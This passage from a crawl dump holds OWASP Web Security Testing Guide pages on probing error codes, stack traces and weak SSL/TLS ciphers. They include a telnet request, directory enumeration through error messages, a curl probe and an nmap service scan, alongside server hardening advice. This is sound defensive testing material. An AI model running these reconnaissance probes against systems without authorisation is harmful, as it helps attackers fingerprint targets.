... \n```\n\n#### Test: 501 Method Not Implemented\n\n```\ntelnet 80\nRENAME /index.html HTTP/1.1\nHost: \n\n```\n\n```\nHTTP/1.1 501 Method Not Implemented Date: Fri, 08 Dec 2013 09:59:32 GMT Server: Apache/2.2.22 (Ubuntu) PHP/5.3.10-1ubuntu3.9 with Suhosin-Patch Allow: GET, HEAD, POST, OPTIONS Vary: Accept-Encoding Content-Length: 299 Connection: close Content-Type: text/html; charset=iso-8859-1 ... 501 Method Not Implemented ...
Apache/2.2.22 (Ubuntu) PHP/5.3.10-1ubuntu3.9 with Suhosin-Patch at Port 80
... \n```\n\n#### Test\n\n```\nEnumeration of directories by using access denied error messages:
\n\nhttp:///\n```\n\n```\nDirectory Listing Denied\nThis Virtual Directory does not allow contents to be listed.\n\nForbidden\nYou don't have permission to access / on this server.\n```\n\n## Tools\n\n- [Nikto2](https://cirt.net/Nikto2)\n- [Zed Attack Proxy](https://www.zaproxy.org)\n\n## References\n\n- [RFC2616 - Hypertext Transfer Protocol – HTTP/1.1](http://www.ietf.org/rfc/rfc2616.txt?number=2616_RFC2616)\n- [ErrorDocument - Apache ErrorDocument Directive](http://httpd.apache.org/docs/2.2/mod/core.html#errordocument_ErrorDocument)\n- [AllowOverride - Apache AllowOverride Directive](http://httpd.apache.org/docs/2.2/mod/core.html#allowoverride_AllowOverride)\n- [ServerTokens - Apache ServerTokens Directive](http://httpd.apache.org/docs/2.2/mod/core.html#servertokens_ServerTokens)\n- [ServerSignature - Apache ServerSignature Directive](http://httpd.apache.org/docs/2.2/mod/core.html#serversignature_ServerSignature)\n\n## Remediation\n\n### Error Handling in IIS and ASP .net\n\nASP .net is a common framework from Microsoft used for developing web applications. IIS is one of the commonly used web servers. Errors occur in all applications, developers try to trap most errors but it is almost impossible to cover each and every exception (it is however possible to configure the web server to suppress detailed error messages from being returned to the user).\n\nIIS uses a set of custom error pages generally found in `c:\\winnt\\help\\iishelp\\common` to display errors like `404 page not found` to the user. These default pages can be changed and custom errors can be configured for IIS server. When IIS receives a request for an aspx page, the request is passed on to the dot net framework.\n\nThere are various ways by which errors can be handled in dot net framework. Errors are handled at three places in ASP .net:\n\n1. Inside Web.config customErrors section\n2. Inside global.asax Application_Error Sub\n3. At the the aspx or associated codebehind page in the Page_Error sub\n\n#### Handling Errors Using Web.Config\n\n```\n \n```\n\nmode=“On” will turn on custom errors. mode=RemoteOnly will show custom errors to the remote web application users. A user accessing the server locally will be presented with the complete stack trace and custom errors will not be shown to him.\n\nAll the errors, except those explicitly specified, will cause a redirection to the resource specified by defaultRedirect, i.e., `myerrorpagedefault.aspx`. A status code 404 will be handled by `myerrorpagefor404.aspx`.\n\n#### Handling Errors in Global.asax\n\nWhen an error occurs, the Application_Error sub is called. A developer can write code for error handling/page redirection in this sub.\n\n```\nPrivate Sub Application_Error (ByVal sender As Object, ByVal e As System.EventArgs)\n Handles MyBase.Error\nEnd Sub\n```\n\n#### Handling Errors in Page_Error Sub\n\nThis is similar to application error.\n\n```\nPrivate Sub Page_Error (ByVal sender As Object, ByVal e As System.EventArgs)\n Handles MyBase.Error\nEnd Sub\n```\n\n#### Error Hierarchy in ASP .net\n\n`Page_Error` sub will be processed first, followed by `global.asax` `Application_Error` sub, and, finally, `customErrors` section in `web.config` file.\n\nInformation Gathering on web applications with server-side technology is quite difficult, but the information discovered can be useful for the correct execution of an attempted exploit (for example, SQL injection or Cross Site Scripting (XSS) attacks) and can reduce false positives.\n\n#### How to Test for ASP.net and IIS Error Handling\n\nFire up your browser and type a random page name\n\n```\nhttp:\\\\www.mywebserver.com\\anyrandomname.asp\n```\n\nIf the server returns\n\n```\nThe page cannot be found\n\nInternet Information Services\n```\n\nit means that IIS custom errors are not configured. Please note the `.asp` extension.\n\nAlso test for .net custom errors. Type a random page name with aspx extension in your browser\n\n```\nhttp:\\\\www.mywebserver.com\\anyrandomname.aspx\n```\n\nIf the server returns\n\n```\nServer Error in '/' Application.\n--------------------------------------------------------------------------------\n\nThe resource cannot be found.\nDescription: HTTP 404. The resource you are looking for (or one of its dependencies) could have been removed, had its name changed, or is temporarily unavailable. Please review the following URL and make sure that it is spelled correctly.\n```\n\ncustom errors for .net are not configured.\n\n### Error Handling in Apache\n\nApache is a common HTTP server for serving HTML and PHP web pages. By default, Apache shows the server version, products installed and OS system in the HTTP error responses.\n\nResponses to the errors can be configured and customized globally, per site or per directory in the apache2.conf using the [ErrorDocument directive](http://httpd.apache.org/docs/2.2/mod/core.html#errordocument_ErrorDocument)\n\n```\nErrorDocument 404 “Customized Not Found error message”\nErrorDocument 403 /myerrorpagefor403.html\nErrorDocument 501 http://www.externaldomain.com/errorpagefor501.html\n```\n\nSite administrators are able to manage their own errors using `.htaccess` file if the global directive [AllowOverride](http://httpd.apache.org/docs/2.2/mod/core.html#allowoverride_AllowOverride) is configured properly in `apache2.conf`\n\n| The information shown by Apache in the HTTP errors can also be configured using the directives [ServerTokens](http://httpd.apache.org/docs/2.2/mod/core.html#servertokens_ServerTokens) and [ServerSignature](http://httpd.apache.org/docs/2.2/mod/core.html#serversignature_ServerSignature) at `apache2.conf` configuration file. `ServerSignature Off` (On by default) removes the server information from the error responses, while ServerTokens [ProductOnly | Major | Minor | Minimal | OS | Full] (Full by default) defines what information has to be shown in the error pages. |\n| --- | --- | --- | --- | --- | --- |\n\n### Error Handling in Tomcat\n\nTomcat is a HTTP server to host JSP and Java Servlet applications. By default, Tomcat shows the server version in the HTTP error responses.\n\nCustomization of the error responses can be configured in the configuration file `web.xml`.\n\n```\n 404 /myerrorpagefor404.html \n```\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 15982, "slov": 2218, "odkazu": 182, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 13:44:13", "sha256": "e19bb3c301fabbe5a5022d6927690daf26a838eacba4156f04eed04694c84fa8", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://cirt.net/Nikto2", "https://www.zaproxy.org/", "http://www.ietf.org/rfc/rfc2616.txt?number=2616_RFC2616", "http://httpd.apache.org/docs/2.2/mod/core.html", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/08-Testing_for_Error_Handling/02-Testing_for_Stack_Traces", "titulek": "WSTG - v4.1 | OWASP Foundation", "h1": "WSTG - v4.1", "popis": "WSTG - v4.1 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/08-Testing_for_Error_Handling/02-Testing_for_Stack_Traces", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - v4.1 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - v4.1 | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/08-Testing_for_Error_Handling/02-Testing_for_Stack_Traces", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "WSTG - v4.1"}, {"uroven": 1, "text": "Testing for Stack Traces"}, {"uroven": 2, "text": "Summary"}, {"uroven": 2, "text": "How to Test"}, {"uroven": 3, "text": "Black-Box Testing"}, {"uroven": 3, "text": "Gray-Box Testing"}, {"uroven": 2, "text": "Tools"}, {"uroven": 2, "text": "References"}], "markdown": "# WSTG - v4.1\n\n# Testing for Stack Traces\n\n| ID |\n| --- |\n| WSTG-ERRH-02 |\n\n## Summary\n\nStack traces are not vulnerabilities by themselves, but they often reveal information that is interesting to an attacker. Attackers attempt to generate these stack traces by tampering with the input to the web application with malformed HTTP requests and other input data.\n\nIf the application responds with stack traces that are not managed it could reveal information useful to attackers. This information could then be used in further attacks. Providing debugging information as a result of operations that generate errors is considered a bad practice due to multiple reasons. For example, it may contain information on internal workings of the application such as relative paths of the point where the application is installed or how objects are referenced internally.\n\n## How to Test\n\n### Black-Box Testing\n\nThere are a variety of techniques that will cause exception messages to be sent in an HTTP response. Note that in most cases this will be an HTML page, but exceptions can be sent as part of SOAP or REST responses too.\n\nSome tests to try include:\n\n- invalid input (such as input that is not consistent with application logic).\n- input that contains non alphanumeric characters or query syntax.\n- empty inputs.\n- inputs that are too long.\n- access to internal pages without authentication.\n- bypassing application flow.\n\nAll the above tests could lead to application errors that may contain stack traces. It is recommended to use a fuzzer in addition to any manual testing.\n\nSome tools, such as [OWASP ZAP](https://www.zaproxy.org) and [Burp proxy](https://portswigger.net/burp) will automatically detect these exceptions in the response stream as you are doing other penetration and testing work.\n\n### Gray-Box Testing\n\nSearch the code for the calls that cause an exception to be rendered to a String or output stream. For example, in Java this might be code in a JSP that looks like:\n\n```\n< e.printStackTrace( new PrintWriter( out ) ) >;\n```\n\nIn some cases, the stack trace will be specifically formatted into HTML, so be careful of accesses to stack trace elements.\n\nSearch the configuration to verify error handling configuration and the use of default error pages. For example, in Java this configuration can be found in `web.xml`.\n\n## Tools\n\n- [Zed Attack Proxy](https://www.zaproxy.org)\n\n## References\n\n- [RFC2616 - Hypertext Transfer Protocol - HTTP/1.1](https://www.ietf.org/rfc/rfc2616.txt?number=2616_RFC2616)\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 2542, "slov": 378, "odkazu": 178, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 13:44:14", "sha256": "b33142b67946fed2dc7c9ab6c52366bbf3a5f3941c328dcfd2db98ce8223b305", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://www.zaproxy.org/", "https://portswigger.net/burp", "https://www.ietf.org/rfc/rfc2616.txt?number=2616_RFC2616", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/08-Testing_for_Error_Handling/README", "titulek": "WSTG - v4.1 | OWASP Foundation", "h1": "WSTG - v4.1", "popis": "WSTG - v4.1 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/08-Testing_for_Error_Handling/README", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - v4.1 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - v4.1 | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/08-Testing_for_Error_Handling/README", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "WSTG - v4.1"}, {"uroven": 1, "text": "4.8 Testing for Error Handling"}], "markdown": "# WSTG - v4.1\n\n# 4.8 Testing for Error Handling\n\n4.8.1 [Testing for Error Code](/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/08-Testing_for_Error_Handling/01-Testing_for_Error_Code)\n\n4.8.2 [Testing for Stack Traces](/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/08-Testing_for_Error_Handling/02-Testing_for_Stack_Traces)\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 471, "slov": 35, "odkazu": 175, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 13:44:12", "sha256": "1319c6d412b883cfbe62a4bcd47d88731d9abcb2dfdc19df97fc75f3368a7e0b", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/09-Testing_for_Weak_Cryptography/01-Testing_for_Weak_SSL_TLS_Ciphers_Insufficient_Transport_Layer_Protection", "titulek": "WSTG - v4.1 | OWASP Foundation", "h1": "WSTG - v4.1", "popis": "WSTG - v4.1 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/09-Testing_for_Weak_Cryptography/01-Testing_for_Weak_SSL_TLS_Ciphers_Insufficient_Transport_Layer_Protection", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - v4.1 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - v4.1 | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/09-Testing_for_Weak_Cryptography/01-Testing_for_Weak_SSL_TLS_Ciphers_Insufficient_Transport_Layer_Protection", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "WSTG - v4.1"}, {"uroven": 1, "text": "Testing for Weak SSL TLS Ciphers Insufficient Transport Layer Protection"}, {"uroven": 2, "text": "Summary"}, {"uroven": 3, "text": "Common Issues"}, {"uroven": 3, "text": "Sensitive Data Transmitted in Clear-Text"}, {"uroven": 3, "text": "Weak SSL/TLS Ciphers/Protocols/Keys"}, {"uroven": 3, "text": "TLS/SSL Certificate Validity – Client and Server"}, {"uroven": 3, "text": "Other Vulnerabilities"}, {"uroven": 2, "text": "How to Test"}, {"uroven": 3, "text": "Testing for Sensitive Data Transmitted in Clear-Text"}, {"uroven": 4, "text": "Example 1. Basic Authentication Over HTTP"}, {"uroven": 3, "text": "Testing for Weak SSL/TLS Ciphers/Protocols/Keys Vulnerabilities"}, {"uroven": 4, "text": "Example 1. TLS/SSL Service Recognition via Nmap"}, {"uroven": 4, "text": "Example 2. Checking for Certificate Information, Weak Ciphers and SSLv2 via Nmap"}, {"uroven": 4, "text": "Example 3 Checking for Client-Initiated Renegotiation and Secure Renegotiation Via OpenSSL (Manually)"}, {"uroven": 4, "text": "Example 4. Testing Supported Cipher Suites, BEAST and CRIME Attacks via TestSSLServer"}, {"uroven": 4, "text": "Example 5. Testing SSL/TLS Vulnerabilities with sslyze"}, {"uroven": 4, "text": "Example 6. Testing SSL/TLS with testssl.sh"}, {"uroven": 4, "text": "Example 7. Testing SSL/TLS with SSL Breacher"}, {"uroven": 4, "text": "Example 8. Testing O-Saft - OWASP SSL Advanced Forensic Tool"}, {"uroven": 3, "text": "Testing SSL Certificate Validity – Client and Server"}, {"uroven": 4, "text": "Example 1. Testing for Certificate Validity (Manually)"}, {"uroven": 3, "text": "Testing for Other Vulnerabilities"}, {"uroven": 4, "text": "Surf Jacking"}, {"uroven": 4, "text": "SSL Strip"}, {"uroven": 3, "text": "Testing via HTTP Proxy"}, {"uroven": 4, "text": "Example 1. Testing via HTTP Proxy"}, {"uroven": 2, "text": "Configuration Review"}, {"uroven": 3, "text": "Testing for Weak SSL/TLS Cipher Suites"}, {"uroven": 4, "text": "Example 1. Windows Server"}, {"uroven": 4, "text": "Example 2. Apache"}, {"uroven": 3, "text": "Testing SSL Certificate Validity – Client and Server Review"}], "markdown": "# WSTG - v4.1\n\n# Testing for Weak SSL TLS Ciphers Insufficient Transport Layer Protection\n\n| ID |\n| --- |\n| WSTG-CRYP-01 |\n\n## Summary\n\nSensitive data must be protected when it is transmitted through the network. Such data can include user credentials and credit cards. As a rule of thumb, if data must be protected when it is stored, it must be protected also during transmission.\n\nHTTP is a clear-text protocol and it is normally secured via an SSL/TLS tunnel, resulting in [HTTPS traffic](https://tools.ietf.org/html/rfc8446). The use of this protocol ensures not only confidentiality, but also authentication. Servers are authenticated using digital certificates and it is also possible to use client certificate for mutual authentication.\n\nEven if high grade ciphers are today supported and normally used, some misconfiguration in the server can be used to force the use of a weak cipher - or at worst no encryption - permitting to an attacker to gain access to the supposed secure communication channel. Other misconfiguration can be used for a Denial of Service attack.\n\n### Common Issues\n\nA vulnerability occurs if the HTTP protocol is used to [transmit sensitive information](/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/09-Testing_for_Weak_Cryptography/03-Testing_for_Sensitive_Information_Sent_via_Unencrypted_Channels) (e.g. [credentials transmitted over HTTP](/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/04-Authentication_Testing/01-Testing_for_Credentials_Transported_over_an_Encrypted_Channel)).\n\nWhen the SSL/TLS service is present it is good but it increments the attack surface and the following vulnerabilities exist:\n\n- SSL/TLS protocols, ciphers, keys and renegotiation must be properly configured.\n- Certificate validity must be ensured.\n\nOther vulnerabilities linked to this are:\n\n- Software exposed must be updated due to possibility of [known vulnerabilities](/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/02-Configuration_and_Deployment_Management_Testing/01-Test_Network_Infrastructure_Configuration) .\n- Usage of [Secure flag for Session Cookies](/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/06-Session_Management_Testing/02-Testing_for_Cookies_Attributes) .\n- Usage of [HTTP Strict Transport Security (HSTS)](/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/02-Configuration_and_Deployment_Management_Testing/07-Test_HTTP_Strict_Transport_Security) .\n- The presence of both [HTTP](https://resources.enablesecurity.com/resources/Surf%20Jacking.pdf) and [HTTPS](https://moxie.org/software/sslstrip/) , which can be used to intercept traffic.\n- The presence of mixed HTTPS and HTTP content in the same page, which can be used to Leak information.\n\n### Sensitive Data Transmitted in Clear-Text\n\nThe application should not transmit sensitive information via unencrypted channels. Typically it is possible to find basic authentication over HTTP, input password or session cookie sent via HTTP and, in general, other information considered by regulations, laws or organization policy.\n\n### Weak SSL/TLS Ciphers/Protocols/Keys\n\nHistorically, there have been limitations set in place by the U.S. government to allow cryptosystems to be exported only for key sizes of at most 40 bits, a key length which could be broken and would allow the decryption of communications. Since then cryptographic export regulations have been relaxed the maximum key size is 128 bits.\n\nIt is important to check the SSL configuration being used to avoid putting in place cryptographic support which could be easily defeated. To reach this goal SSL-based services should not offer the possibility to choose weak cipher suite. A cipher suite is specified by an encryption protocol (e.g. DES, RC4, AES), the encryption key length (e.g. 40, 56, or 128 bits), and a hash algorithm (e.g. SHA, MD5) used for integrity checking.\n\nBriefly, the key points for the cipher suite determination are the following:\n\n1. The client sends to the server a ClientHello message specifying, among other information, the protocol and the cipher suites that it is able to handle. Note that a client is usually a web browser (most popular SSL client nowadays), but not necessarily, since it can be any SSL-enabled application; the same holds for the server, which needs not to be a web server, though this is the most common case. (See also: [stunnel](https://www.stunnel.org) .)\n2. The server responds with a ServerHello message, containing the chosen protocol and cipher suite that will be used for that session (in general the server selects the strongest protocol and cipher suite supported by both the client and server).\n\nIt is possible (for example, by means of configuration directives) to specify which cipher suites the server will honor. In this way you may control whether or not conversations with clients will support 40-bit encryption only.\n\n1. The server sends its Certificate message and, if client authentication is required, also sends a CertificateRequest message to the client.\n2. The server sends a ServerHelloDone message and waits for a client response.\n3. Upon receipt of the ServerHelloDone message, the client verifies the validity of the server’s digital certificate.\n\n### TLS/SSL Certificate Validity – Client and Server\n\nWhen accessing a web application via the HTTPS protocol, a secure channel is established between the client and the server. The identity of one (the server) or both parties (client and server) is then established by means of digital certificates. So, once the cipher suite is determined, the “SSL Handshake” continues with the exchange of the certificates:\n\n1. The server sends its Certificate message and, if client authentication is required, also sends a CertificateRequest message to the client.\n2. The server sends a ServerHelloDone message and waits for a client response.\n3. Upon receipt of the ServerHelloDone message, the client verifies the validity of the server’s digital certificate.\n\nIn order for the communication to be set up, a number of checks on the certificates must be passed. While discussing SSL and certificate based authentication is beyond the scope of this guide, this section will focus on the main criteria involved in ascertaining certificate validity:\n\n- Checking if the Certificate Authority (CA) is a known one (meaning one considered trusted);\n- Checking that the certificate is currently valid;\n- Checking that the name of the site and the name reported in the certificate match.\n\nLet’s examine each check more in detail.\n\n- Each browser comes with a pre-loaded list of trusted CAs, against which the certificate signing CA is compared (this list can be customized and expanded at will). During the initial negotiations with an HTTPS server, if the server certificate relates to a CA unknown to the browser, a warning is usually raised. This happens most often because a web application relies on a certificate signed by a self-established CA. Whether this is to be considered a concern depends on several factors. For example, this may be fine for an Intranet environment (think of corporate web email being provided via HTTPS; here, obviously all users recognize the internal CA as a trusted CA). When a service is provided to the general public via the Internet, however (i.e. when it is important to positively verify the identity of the server we are talking to), it is usually imperative to rely on a trusted CA, one which is recognized by all the user base (and here we stop with our considerations; we won’t delve deeper in the implications of the trust model being used by digital certificates).\n- Certificates have an associated period of validity, therefore they may expire. Again, we are warned by the browser about this. A public service needs a temporally valid certificate; otherwise, it means we are talking with a server whose certificate was issued by someone we trust, but has expired without being renewed.\n- What if the name on the certificate and the name of the server do not match? If this happens, it might sound suspicious. For a number of reasons, this is not so rare to see. A system may host a number of name-based virtual hosts, which share the same IP address and are identified by means of the HTTP 1.1 Host: header information. In this case, since the SSL handshake checks the server certificate before the HTTP request is processed, it is not possible to assign different certificates to each virtual server. Therefore, if the name of the site and the name reported in the certificate do not match, we have a condition which is typically signaled by the browser. To avoid this, IP-based virtual servers must be used. [sslyze](https://github.com/nabla-c0d3/sslyze) and [RFC: TLS Extensions](https://www.ietf.org/rfc/rfc6066.txt) describe techniques to deal with this problem and allow name-based virtual hosts to be correctly referenced.\n\n### Other Vulnerabilities\n\nThe presence of a new service, listening in a separate tcp port may introduce vulnerabilities such as infrastructure vulnerabilities if the [software is not up to date](/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/02-Configuration_and_Deployment_Management_Testing/01-Test_Network_Infrastructure_Configuration). Furthermore, for the correct protection of data during transmission the Session Cookie must use the [Secure flag](/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/06-Session_Management_Testing/02-Testing_for_Cookies_Attributes) and some directives should be sent to the browser to accept only secure traffic (e.g. [HSTS](/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/02-Configuration_and_Deployment_Management_Testing/07-Test_HTTP_Strict_Transport_Security), CSP).\n\nAlso there are some attacks that can be used to intercept traffic if the web server exposes the application on both [HTTP](/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/02-Configuration_and_Deployment_Management_Testing/07-Test_HTTP_Strict_Transport_Security) and [HTTPS](https://resources.enablesecurity.com/resources/Surf%20Jacking.pdf) or in case of mixed HTTP and HTTPS resources in the same page.\n\n## How to Test\n\n### Testing for Sensitive Data Transmitted in Clear-Text\n\nVarious types of information which must be protected can be also transmitted in clear text. It is possible to check if this information is transmitted over HTTP instead of HTTPS. Please refer to specific tests for full details, for [credentials](/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/04-Authentication_Testing/01-Testing_for_Credentials_Transported_over_an_Encrypted_Channel) and other kind of [data](/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/09-Testing_for_Weak_Cryptography/03-Testing_for_Sensitive_Information_Sent_via_Unencrypted_Channels).\n\n#### Example 1. Basic Authentication Over HTTP\n\nA typical example is the usage of Basic Authentication over HTTP because with Basic Authentication, after log in, credentials are encoded - and not encrypted - into HTTP Headers.\n\n```\n$ curl -kis http://example.com/restricted/\nHTTP/1.1 401 Authorization Required\nDate: Fri, 01 Aug 2013 00:00:00 GMT\nWWW-Authenticate: Basic realm=\"Restricted Area\"\nAccept-Ranges: bytes\nVary: Accept-Encoding\nContent-Length: 162\nContent-Type: text/html\n\n401 Authorization Required\n\n

401 Authorization Required

\n\nInvalid login credentials!\n\n\n```\n\n### Testing for Weak SSL/TLS Ciphers/Protocols/Keys Vulnerabilities\n\nThe large number of available cipher suites and quick progress in cryptanalysis makes testing an SSL server a non-trivial task.\n\nAt the time of writing these criteria are widely recognized as minimum checklist:\n\n- Weak ciphers must not be used (e.g. less than [128 bits](https://www.ssllabs.com/projects/best-practices/index.html) ; no NULL ciphers suite, due to no encryption used; no Anonymous Diffie-Hellmann, due to not provides authentication).\n- Weak protocols must be disabled (e.g. SSLv2 must be disabled, due to known weaknesses in protocol design).\n- Renegotiation must be properly configured (e.g. Insecure Renegotiation must be disabled, due to [MiTM attacks](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3555) and Client-initiated Renegotiation must be disabled, due to [Denial of Service vulnerability](https://community.qualys.com/blogs/securitylabs/2011/10/31/tls-renegotiation-and-denial-of-service-attacks) ).\n- No Export (EXP) level cipher suites, due to can be [easily broken](https://www.ssllabs.com/projects/best-practices/index.html) .\n- X.509 certificates key length must be strong (e.g. if RSA or DSA is used the key must be at least 1024 bits).\n- X.509 certificates must be signed only with secure hashing algoritms (e.g. not signed using MD5 hash, due to known collision attacks on this hash).\n- [Keys must be generated with proper entropy](https://www.ssllabs.com/projects/rating-guide/index.html) (e.g, Weak Key Generated with Debian).\n\nA more complete checklist includes:\n\n- Secure Renegotiation should be enabled.\n- MD5 should not be used, due to [known collision attacks](https://link.springer.com/chapter/10.1007/11426639_2) .\n- RC4 should not be used, due to [crypto-analytical attacks](https://community.qualys.com/blogs/securitylabs/2013/03/19/rc4-in-tls-is-broken-now-what) .\n- Server should be protected from [BEAST Attack](https://community.qualys.com/blogs/securitylabs/2011/10/17/mitigating-the-beast-attack-on-tls) .\n- Server should be protected from [CRIME attack](https://community.qualys.com/blogs/securitylabs/2012/09/14/crime-information-leakage-attack-against-ssltls) , TLS compression must be disabled.\n- Server should support [Forward Secrecy](https://community.qualys.com/blogs/securitylabs/2013/06/25/ssl-labs-deploying-forward-secrecy) .\n\nThe following standards can be used as reference while assessing SSL servers:\n\n- [PCI-DSS](https://www.pcisecuritystandards.org/security_standards/documents.php) requires compliant parties to use “strong cryptography” without precisely defining key lengths and algorithms. Common interpretation, partially based on previous versions of the standard, is that at least 128 bit key cipher, no export strength algorithms and no SSLv2 should be used.\n- [Qualsys SSL Labs Server Rating Guide](https://www.ssllabs.com/projects/rating-guide/index.html) , [Deployment best practice](https://www.ssllabs.com/projects/best-practices/index.html) , and [SSL Threat Model](https://www.ssllabs.com/projects/ssl-threat-model/index.html) has been proposed to standardize SSL server assessment and configuration. But is less updated than the [SSL Server tool](https://www.ssllabs.com/ssltest/index.html) .\n- OWASP has a lot of resources about SSL/TLS Security:\n - [Transport Layer Protection Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Transport_Layer_Protection_Cheat_Sheet.html) .\n - [OWASP Top 10 2017 A3-Sensitive Data Exposure](https://owasp.org/www-project-top-ten/OWASP_Top_Ten_2017/Top_10-2017_A3-Sensitive_Data_Exposure) .\n - [OWASP ASVS - Verification V9](https://github.com/OWASP/ASVS/blob/master/4.0/en/0x17-V9-Communications.md) .\n - [OWASP Application Security FAQ - Cryptography/SSL](https://owasp.org/www-community/OWASP_Application_Security_FAQ#cryptographyssl) .\n\nSome tools and scanners both free (e.g. [SSLAudit](https://code.google.com/p/sslaudit/) or [SSLScan](https://sourceforge.net/projects/sslscan/)) and commercial (e.g. [Tenable Nessus](https://www.tenable.com/products/nessus)), can be used to assess SSL/TLS vulnerabilities. But due to evolution of these vulnerabilities a good way to test is to check them manually with [OpenSSL](https://www.openssl.org/) or use the tool’s output as an input for manual evaluation using the references.\n\nSometimes the SSL/TLS enabled service is not directly accessible and the tester can access it only via a HTTP proxy using [CONNECT method](https://tools.ietf.org/html/rfc2817). Most of the tools will try to connect to desired tcp port to start SSL/TLS handshake. This will not work since desired port is accessible only via HTTP proxy. The tester can easily circumvent this by using relaying software such as [socat](https://linux.die.net/man/1/socat).\n\n#### Example 1. TLS/SSL Service Recognition via Nmap\n\nThe first step is to identify ports which have SSL/TLS wrapped services. Typically tcp ports with SSL for web and mail services are - but not limited to - 443 (https), 465 (ssmtp), 585 (imap4-ssl), 993 (imaps), 995 (ssl-pop).\n\nIn this example we search for SSL services using [nmap with “-sV” option](https://nmap.org/), used to identify services and it is also able to identify SSL services. Other options are for this particular example and must be customized. Often in a Web Application Penetration Test scope is limited to port 80 and 443.\n\n```\n$ nmap -sV --reason -PN -n --top-ports 100 www.example.com\nStarting Nmap 6.25 ( http://nmap.org ) at 2013-01-01 00:00 CEST\nNmap scan report for www.example.com (127.0.0.1)\nHost is up, received user-set (0.20s latency).\nNot shown: 89 filtered ports\nReason: 89 no-responses\nPORT STATE SERVICE REASON VERSION\n21/tcp open ftp syn-ack Pure-FTPd\n22/tcp open ssh syn-ack 